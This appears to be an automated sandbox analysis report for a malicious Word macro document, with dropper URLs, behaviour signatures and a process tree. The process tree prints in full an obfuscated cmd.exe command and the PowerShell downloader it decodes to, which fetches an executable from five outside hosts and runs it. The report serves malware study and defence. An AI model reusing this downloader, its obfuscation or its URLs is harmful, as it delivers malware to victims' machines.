Overview

overview

10

Static

static

1

91016ecc8f...18.doc

windows7-x64

10

91016ecc8f...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 07:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    91016ecc8fb93d8ee318399e49eb3e93_JaffaCakes118.doc
  • Size 253KB
  • Sample240603-jndpashf77
  • SHA256 1b8e6b48f620d95b09a2deb30ae2dab71a313dd4d8917280a401ef0be7cb62f4
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://smemy.com/5s1dhHR50we_vVlpARD
  • exe.dropper

    http://tuandecal.net/MJ1aW1Lsww6dh
  • exe.dropper

    http://www.rijschool-marketing.nl/r1s6CzhhAdA6J
  • exe.dropper

    http://autopart.tomsk.ru/block/v8oMwC71U09thyym3_IM87
  • exe.dropper

    http://ratemystartup.ru/MA1kLb23SIUs

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\91016ecc8fb93d8ee318399e49eb3e93_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set L3=}J~f\$RjHS/[email protected](8mklgCa_st9E4 A)v3F-w%:65rcyLnqTuo{hdeNWI'+;b,O0=&&for %n in (23;61;48;49;14;20;13;56;68;33;50;2;52;73;16;49;53;49;9;39;9;9;68;74;66;66;42;22;39;50;2;47;40;73;16;49;63;49;59;39;22;14;50;2;47;45;73;16;49;31;31;41;5;53;7;34;44;36;63;7;76;69;48;7;64;7;29;69;71;5;26;57;23;58;48;53;30;76;57;65;48;47;61;72;7;65;54;37;41;66;65;37;24;67;65;72;33;31;11;65;57;37;71;5;53;72;34;37;48;26;23;76;69;63;37;37;23;50;10;10;36;29;65;29;55;24;54;61;29;10;52;36;16;64;63;8;6;52;75;48;65;35;44;12;31;23;42;6;15;17;63;37;37;23;50;10;10;37;60;34;57;64;65;54;34;31;24;57;65;37;10;22;1;16;34;67;16;56;36;48;48;51;64;63;17;63;37;37;23;50;10;10;48;48;48;24;53;11;7;36;54;63;61;61;31;47;29;34;53;30;65;37;11;57;32;24;57;31;10;53;16;36;51;33;26;63;63;42;64;42;51;1;17;63;37;37;23;50;10;10;34;60;37;61;23;34;53;37;24;37;61;29;36;30;24;53;60;10;72;31;61;54;30;10;44;28;61;22;48;33;18;16;20;75;38;37;63;55;55;29;45;35;68;22;28;18;17;63;37;37;23;50;10;10;53;34;37;65;29;55;36;37;34;53;37;60;23;24;53;60;10;22;42;16;30;56;72;19;45;9;68;20;36;69;24;9;23;31;11;37;27;69;17;69;43;71;5;26;61;36;61;26;53;11;76;69;64;23;34;48;54;7;34;69;71;5;11;48;36;44;72;30;41;76;41;69;18;52;69;71;5;58;44;44;53;53;23;31;76;69;64;48;11;48;11;26;69;71;5;26;44;11;11;11;29;76;5;65;57;44;50;37;65;29;23;70;69;4;69;70;5;11;48;36;44;72;30;70;69;24;65;25;65;69;71;3;61;53;65;34;54;63;27;5;31;34;23;31;26;44;41;11;57;41;5;53;72;34;37;48;26;23;43;62;37;53;55;62;5;26;57;23;58;48;53;30;24;15;61;48;57;31;61;34;64;46;11;31;65;27;5;31;34;23;31;26;44;73;41;5;26;44;11;11;11;29;43;71;5;36;30;26;34;48;31;76;69;36;3;34;26;29;11;69;71;68;3;41;27;27;21;65;37;47;68;37;65;29;41;5;26;44;11;11;11;29;43;24;31;65;57;32;37;63;41;47;32;65;41;40;75;75;75;75;43;41;62;68;57;44;61;30;65;47;68;37;65;29;41;5;26;44;11;11;11;29;71;5;53;34;26;11;48;34;76;69;7;44;31;34;60;36;69;71;72;53;65;34;30;71;0;0;54;34;37;54;63;62;0;0;5;3;26;11;53;26;37;53;76;69;54;48;7;30;30;34;60;69;71;78)do set Zq=!Zq!!L3:~%n,1!&&if %n geq 78 echo !Zq:~4!|%TEMP:~-8,1%m%TMP:~-15,-14% "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\system32\cmd.exe
        CmD /V:ON/C"set L3=}J~f\$RjHS/[email protected](8mklgCa_st9E4 A)v3F-w%:65rcyLnqTuo{hdeNWI'+;b,O0=&&for %n in (23;61;48;49;14;20;13;56;68;33;50;2;52;73;16;49;53;49;9;39;9;9;68;74;66;66;42;22;39;50;2;47;40;73;16;49;63;49;59;39;22;14;50;2;47;45;73;16;49;31;31;41;5;53;7;34;44;36;63;7;76;69;48;7;64;7;29;69;71;5;26;57;23;58;48;53;30;76;57;65;48;47;61;72;7;65;54;37;41;66;65;37;24;67;65;72;33;31;11;65;57;37;71;5;53;72;34;37;48;26;23;76;69;63;37;37;23;50;10;10;36;29;65;29;55;24;54;61;29;10;52;36;16;64;63;8;6;52;75;48;65;35;44;12;31;23;42;6;15;17;63;37;37;23;50;10;10;37;60;34;57;64;65;54;34;31;24;57;65;37;10;22;1;16;34;67;16;56;36;48;48;51;64;63;17;63;37;37;23;50;10;10;48;48;48;24;53;11;7;36;54;63;61;61;31;47;29;34;53;30;65;37;11;57;32;24;57;31;10;53;16;36;51;33;26;63;63;42;64;42;51;1;17;63;37;37;23;50;10;10;34;60;37;61;23;34;53;37;24;37;61;29;36;30;24;53;60;10;72;31;61;54;30;10;44;28;61;22;48;33;18;16;20;75;38;37;63;55;55;29;45;35;68;22;28;18;17;63;37;37;23;50;10;10;53;34;37;65;29;55;36;37;34;53;37;60;23;24;53;60;10;22;42;16;30;56;72;19;45;9;68;20;36;69;24;9;23;31;11;37;27;69;17;69;43;71;5;26;61;36;61;26;53;11;76;69;64;23;34;48;54;7;34;69;71;5;11;48;36;44;72;30;41;76;41;69;18;52;69;71;5;58;44;44;53;53;23;31;76;69;64;48;11;48;11;26;69;71;5;26;44;11;11;11;29;76;5;65;57;44;50;37;65;29;23;70;69;4;69;70;5;11;48;36;44;72;30;70;69;24;65;25;65;69;71;3;61;53;65;34;54;63;27;5;31;34;23;31;26;44;41;11;57;41;5;53;72;34;37;48;26;23;43;62;37;53;55;62;5;26;57;23;58;48;53;30;24;15;61;48;57;31;61;34;64;46;11;31;65;27;5;31;34;23;31;26;44;73;41;5;26;44;11;11;11;29;43;71;5;36;30;26;34;48;31;76;69;36;3;34;26;29;11;69;71;68;3;41;27;27;21;65;37;47;68;37;65;29;41;5;26;44;11;11;11;29;43;24;31;65;57;32;37;63;41;47;32;65;41;40;75;75;75;75;43;41;62;68;57;44;61;30;65;47;68;37;65;29;41;5;26;44;11;11;11;29;71;5;53;34;26;11;48;34;76;69;7;44;31;34;60;36;69;71;72;53;65;34;30;71;0;0;54;34;37;54;63;62;0;0;5;3;26;11;53;26;37;53;76;69;54;48;7;30;30;34;60;69;71;78)do set Zq=!Zq!!L3:~%n,1!&&if %n geq 78 echo !Zq:~4!|cmD "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $rjavshj='wjdjm';$znpqwrk=new-object Net.WebClient;$rbatwzp='http://smemy.com/5s1dhHR50we_vVlpARD@http://tuandecal.net/MJ1aW1Lsww6dh@http://www.rijschool-marketing.nl/r1s6CzhhAdA6J@http://autopart.tomsk.ru/block/v8oMwC71U09thyym3_IM87@http://ratemystartup.ru/MA1kLb23SIUs'.Split('@');$zosozri='dpawcja';$iwsvbk = '75';$qvvrrpl='dwiwiz';$zviiim=$env:temp+'\'+$iwsvbk+'.exe';foreach($laplzv in $rbatwzp){try{$znpqwrk.DownloadFile($laplzv, $zviiim);$skzawl='sfazmi';If ((Get-Item $zviiim).length -ge 40000) {Invoke-Item $zviiim;$raziwa='jvlaus';break;}}catch{}}$fzirztr='cwjkkau';"
          4⤵
            PID:3764
          • C:\Windows\system32\cmd.exe
            cmD
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:816
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell $rjavshj='wjdjm';$znpqwrk=new-object Net.WebClient;$rbatwzp='http://smemy.com/5s1dhHR50we_vVlpARD@http://tuandecal.net/MJ1aW1Lsww6dh@http://www.rijschool-marketing.nl/r1s6CzhhAdA6J@http://autopart.tomsk.ru/block/v8oMwC71U09thyym3_IM87@http://ratemystartup.ru/MA1kLb23SIUs'.Split('@');$zosozri='dpawcja';$iwsvbk = '75';$qvvrrpl='dwiwiz';$zviiim=$env:temp+'\'+$iwsvbk+'.exe';foreach($laplzv in $rbatwzp){try{$znpqwrk.DownloadFile($laplzv, $zviiim);$skzawl='sfazmi';If ((Get-Item $zviiim).length -ge 40000) {Invoke-Item $zviiim;$raziwa='jvlaus';break;}}catch{}}$fzirztr='cwjkkau';
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2324

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          iso690.xsl
          • Path C:\Users\Admin\AppData\Local\Temp\TCDCE2E.tmp\iso690.xsl
          • Size 263KB
          • SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          __PSScriptPolicyTest_5zv45n33.qpr.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5zv45n33.qpr.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512
          Submit Download

          memory/2168-7-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-19-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp
          Download

          memory/2168-4-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-6-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-5-0x00007FFDCC4CD000-0x00007FFDCC4CE000-memory.dmp
          Download

          memory/2168-8-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-9-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-0-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-11-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-12-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-13-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp
          Download

          memory/2168-10-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-15-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-17-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-18-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-16-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-1-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-14-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-31-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-34-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-39-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-40-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-569-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-3-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-61-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-2-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-539-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-540-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-541-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-542-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp
          Download

          memory/2168-566-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-567-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-568-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2168-565-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp
          Download

          memory/2324-47-0x0000021574A40000-0x0000021574A62000-memory.dmp
          Download